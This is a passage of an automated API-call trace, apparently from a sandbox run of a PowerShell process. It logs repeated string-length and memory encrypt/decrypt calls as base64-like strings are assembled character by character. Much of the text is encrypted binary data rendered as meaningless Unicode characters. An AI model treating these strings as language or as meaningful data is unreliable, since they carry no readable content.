Memory=0x32ce8c) returned 0x0 [0224.574] SysStringLen (param_1="Nw4c817Nr/UZ7KJZKw9xNXH87nB犫㲜ٗ湺특") returned 0x20 [0224.574] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.574] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉ쩹散珈⢷র舝椟轂㗅뺿ℍ꼃舻వ⊑) returned 0x20 [0224.575] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉ쩹散珈⢷র舝椟轂㗅뺿ℍ꼃舻వ⊑) returned 0x20 [0224.575] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.575] SysStringLen (param_1="Nw4c817Nr/UZ7KJZKw9xNXH87nBK㲜ٗ湺특") returned 0x20 [0224.575] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.575] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉ쩹散珈⢷র舝氟劯䈍衞䬴象住뗦⋖) returned 0x20 [0224.575] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉ쩹散珈⢷র舝氟劯䈍衞䬴象住뗦⋖) returned 0x20 [0224.575] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.575] SysStringLen (param_1="Nw4c817Nr/UZ7KJZKw9xNXH87nBKRٗ湺특") returned 0x20 [0224.575] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.575] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉ쩹散珈⢷র舝ᜟ변勥톙\跚お젂") returned 0x20 [0224.575] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉ쩹散珈⢷র舝ᜟ변勥톙\跚お젂") returned 0x20 [0224.575] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.576] SysStringLen (param_1="Nw4c817Nr/UZ7KJZKw9xNXH87nBKR+湺특") returned 0x20 [0224.576] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.576] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉ쩹散珈⢷র舝䨟씑䪋鋴䴲᭠厏∋) returned 0x20 [0224.576] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉ쩹散珈⢷র舝䨟씑䪋鋴䴲᭠厏∋) returned 0x20 [0224.576] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.576] SysStringLen (param_1="Nw4c817Nr/UZ7KJZKw9xNXH87nBKR+5특") returned 0x20 [0224.576] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.576] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉ쩹散珈⢷র舝感뇹₡㕋悧䩩ᄴ≷) returned 0x20 [0224.576] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉ쩹散珈⢷র舝感뇹₡㕋悧䩩ᄴ≷) returned 0x20 [0224.576] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.577] SysStringLen (param_1="Nw4c817Nr/UZ7KJZKw9xNXH87nBKR+5Z") returned 0x20 [0224.577] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.577] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉ쩹散珈⢷র舝П添㼄ส蚤⛥畄鲪⊘) returned 0x20 [0224.577] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉ쩹散珈⢷র舝П添㼄ส蚤⛥畄鲪⊘) returned 0x20 [0224.577] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉ쩹散珈⢷র舝П添㼄ส蚤⛥畄鲪⊘) returned 0x20 [0224.577] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉ쩹散珈⢷র舝П添㼄ส蚤⛥畄鲪⊘) returned 0x28 [0224.578] SystemFunction041 (in: Memory=0x5c92364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92364) returned 0x0 [0224.578] SysStringLen (param_1="Nw4c817Nr/UZ7KJZKw9xNXH87nBKR+5ZY㳸嵖Ề湩\ꟙ≕) returned 0x28 [0224.578] SystemFunction040 (in: Memory=0x5c92364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92364) returned 0x0 [0224.578] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉ쩹散珈⢷র舝П添㼄ส蚤⛥畄鲪㮘酰瑙垠꒰䅴킘术≝) returned 0x28 [0224.578] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉ쩹散珈⢷র舝П添㼄ส蚤⛥畄鲪㮘酰瑙垠꒰䅴킘术≝) returned 0x28 [0224.578] SystemFunction041 (in: Memory=0x5c92364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92364) returned 0x0 [0224.578] SysStringLen (param_1="Nw4c817Nr/UZ7KJZKw9xNXH87nBKR+5ZYI嵖Ề湩\ꟙ≕) returned 0x28 [0224.578] SystemFunction040 (in: Memory=0x5c92364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92364) returned 0x0 [0224.578] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉ쩹散珈⢷র舝П添㼄ส蚤⛥畄鲪ᖘꃏ圴쯃㏧㍞\䳚") returned 0x28 [0224.578] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉ쩹散珈⢷র舝П添㼄ส蚤⛥畄鲪ᖘꃏ圴쯃㏧㍞\䳚") returned 0x28 [0224.579] SystemFunction041 (in: Memory=0x5c92364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92364) returned 0x0 [0224.579] SysStringLen (param_1="Nw4c817Nr/UZ7KJZKw9xNXH87nBKR+5ZYIzỀ湩\ꟙ≕) returned 0x28 [0224.579] SystemFunction040 (in: Memory=0x5c92364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92364) returned 0x0 [0224.579] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉ쩹散珈⢷র舝П添㼄ส蚤⛥畄鲪炘猸DŽ燎ᛖ箧ۊᯁ√) returned 0x28 [0224.579] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉ쩹散珈⢷র舝П添㼄ส蚤⛥畄鲪炘猸DŽ燎ᛖ箧ۊᯁ√) returned 0x28 [0224.579] SystemFunction041 (in: Memory=0x5c92364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92364) returned 0x0 [0224.579] SysStringLen (param_1="Nw4c817Nr/UZ7KJZKw9xNXH87nBKR+5ZYIzh湩\ꟙ≕) returned 0x28 [0224.579] SystemFunction040 (in: Memory=0x5c92364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92364) returned 0x0 [0224.579] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉ쩹散珈⢷র舝П添㼄ส蚤⛥畄鲪馘+Ꮅ㫰쩚曪ꤔ⊑) returned 0x28 [0224.579] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉ쩹散珈⢷র舝П添㼄ส蚤⛥畄鲪馘+Ꮅ㫰쩚曪ꤔ⊑) returned 0x28 [0224.579] SystemFunction041 (in: Memory=0x5c92364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92364) returned 0x0 [0224.580] SysStringLen (param_1="Nw4c817Nr/UZ7KJZKw9xNXH87nBKR+5ZYIzhP\ꟙ≕) returned 0x28 [0224.580] SystemFunction040 (in: Memory=0x5c92364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92364) returned 0x0 [0224.580] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉ쩹散珈⢷র舝П添㼄ส蚤⛥畄鲪涘䩏\맜聀뇶쟑胖") returned 0x28 [0224.580] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉ쩹散珈⢷র舝П添㼄ส蚤⛥畄鲪涘䩏\맜聀뇶쟑胖") returned 0x28 [0224.580] SystemFunction041 (in: Memory=0x5c92364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92364) returned 0x0 [0224.580] SysStringLen (param_1="Nw4c817Nr/UZ7KJZKw9xNXH87nBKR+5ZYIzhPy\ꟙ≕) returned 0x28 [0224.580] SystemFunction040 (in: Memory=0x5c92364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92364) returned 0x0 [0224.580] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉ쩹散珈⢷র舝П添㼄ส蚤⛥畄鲪뚘瓀釠 ▂ᥤ\컟") returned 0x28 [0224.580] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉ쩹散珈⢷র舝П添㼄ส蚤⛥畄鲪뚘瓀釠 ▂ᥤ\컟") returned 0x28 [0224.580] SystemFunction041 (in: Memory=0x5c92364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92364) returned 0x0 [0224.580] SysStringLen (param_1="Nw4c817Nr/UZ7KJZKw9xNXH87nBKR+5ZYIzhPy3喧") returned 0x28 [0224.580] SystemFunction040 (in: Memory=0x5c92364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92364) returned 0x0 [0224.581] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉ쩹散珈⢷র舝П添㼄ส蚤⛥畄鲪춘៞䂬Ọ轶㟛炩놭⊰) returned 0x28 [0224.581] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉ쩹散珈⢷র舝П添㼄ส蚤⛥畄鲪춘៞䂬Ọ轶㟛炩놭⊰) returned 0x28 [0224.581] SystemFunction041 (in: Memory=0x5c92364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92364) returned 0x0 [0224.581] SysStringLen (param_1="Nw4c817Nr/UZ7KJZKw9xNXH87nBKR+5ZYIzhPy3p") returned 0x28 [0224.581] SystemFunction040 (in: Memory=0x5c92364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92364) returned 0x0 [0224.581] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉ쩹散珈⢷র舝П添㼄ส蚤⛥畄鲪래禷抎喖扫뭓≘) returned 0x28 [0224.581] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉ쩹散珈⢷র舝П添㼄ส蚤⛥畄鲪래禷抎喖扫뭓≘) returned 0x28 [0224.581] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉ쩹散珈⢷র舝П添㼄ส蚤⛥畄鲪래禷抎喖扫뭓≘) returned 0x28 [0224.582] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉ쩹散珈⢷র舝П添㼄ส蚤⛥畄鲪래禷抎喖扫뭓≘) returned 0x30 [0224.582] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0224.582] SysStringLen (param_1="Nw4c817Nr/UZ7KJZKw9xNXH87nBKR+5ZYIzhPy3pp뛬伋ꤦᴇ\ᇝ耠⊕) returned 0x30 [0224.582] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0224.582] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉ쩹散珈⢷র舝П添㼄ส蚤⛥畄鲪래禷抎喖扫뭓멘棬☰㳰佴읙螅㊭∶) returned 0x30 [0224.582] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉ쩹散珈⢷র舝П添㼄ส蚤⛥畄鲪래禷抎喖扫뭓멘棬☰㳰佴읙螅㊭∶) returned 0x30 [0224.582] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0224.582] SysStringLen (param_1="Nw4c817Nr/UZ7KJZKw9xNXH87nBKR+5ZYIzhPy3ppQ伋ꤦᴇ\ᇝ耠⊕) returned 0x30 [0224.583] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0224.583] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉ쩹散珈⢷র舝П添㼄ส蚤⛥畄鲪래禷抎喖扫뭓⭘闻磲ᘕ絰\껟҄ၒ") returned 0x30 [0224.583] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉ쩹散珈⢷র舝П添㼄ส蚤⛥畄鲪래禷抎喖扫뭓⭘闻磲ᘕ絰\껟҄ၒ") returned 0x30 [0224.583] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0224.583] SysStringLen (param_1="Nw4c817Nr/UZ7KJZKw9xNXH87nBKR+5ZYIzhPy3ppQoꤦᴇ\ᇝ耠⊕) returned 0x30 [0224.583] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0224.583] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉ쩹散珈⢷র舝П添㼄ส蚤⛥畄鲪래禷抎喖扫뭓ɘ弖줥◛簫嗡ﲩ뎉≳) returned 0x30 [0224.583] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉ쩹散珈⢷র舝П添㼄ส蚤⛥畄鲪래禷抎喖扫뭓ɘ弖줥◛簫嗡ﲩ뎉≳) returned 0x30 [0224.583] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0224.583] SysStringLen (param_1="Nw4c817Nr/UZ7KJZKw9xNXH87nBKR+5ZYIzhPy3ppQo=ᴇ\ᇝ耠⊕) returned 0x30 [0224.583] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0224.584] EtwEventActivityIdControl () returned 0x0 [0224.584] EtwEventActivityIdControl () returned 0x0 [0224.584] EtwEventActivityIdControl () returned 0x0 [0224.584] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0224.585] EtwEventActivityIdControl () returned 0x0 [0224.585] EtwEventActivityIdControl () returned 0x0 [0224.585] EtwEventActivityIdControl () returned 0x0 [0224.585] SysStringLen (param_1="") returned 0x8 [0224.586] SysStringLen (param_1="N") returned 0x8 [0224.586] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0224.586] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0224.586] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0224.586] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0224.586] SysStringLen (param_1="ND") returned 0x8 [0224.586] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0224.586] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0224.586] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0224.586] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0224.586] SysStringLen (param_1="NDZ") returned 0x8 [0224.586] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0224.587] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0224.587] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0224.587] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0224.587] SysStringLen (param_1="NDZl") returned 0x8 [0224.587] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0224.587] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0224.587] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0224.587] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0224.587] SysStringLen (param_1="NDZlO") returned 0x8 [0224.587] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0224.587] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0224.587] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0224.588] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0224.588] SysStringLen (param_1="NDZlOD") returned 0x8 [0224.588] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0224.588] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0224.588] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0224.588] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0224.588] SysStringLen (param_1="NDZlODR") returned 0x8 [0224.588] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0224.588] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0224.588] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0224.588] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0224.589] SysStringLen (param_1="NDZlODRm") returned 0x8 [0224.589] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0224.589] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0224.589] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0224.589] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0224.590] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0224.590] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.590] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0224.590] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.590] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0224.590] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0224.590] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.590] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0224.590] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.590] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0224.590] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0224.590] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.591] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0224.591] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.591] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0224.591] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0224.591] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.591] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0224.591] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.591] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0224.591] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0224.591] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.592] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0224.592] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.592] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0224.592] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0224.592] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.592] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0224.592] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.592] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0224.592] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0224.592] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.592] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0224.592] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.593] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0224.593] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0224.593] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.593] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0224.593] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.593] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0224.593] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0224.593] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0224.682] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0224.682] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.683] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0224.683] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.683] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0224.683] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0224.684] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.684] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0224.684] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.684] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0224.684] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0224.685] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.685] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0224.685] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.685] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0224.685] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0224.685] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.685] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0224.685] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.686] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0224.686] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0224.686] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.686] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0224.686] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.686] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0224.686] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0224.686] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.686] SysStringLen 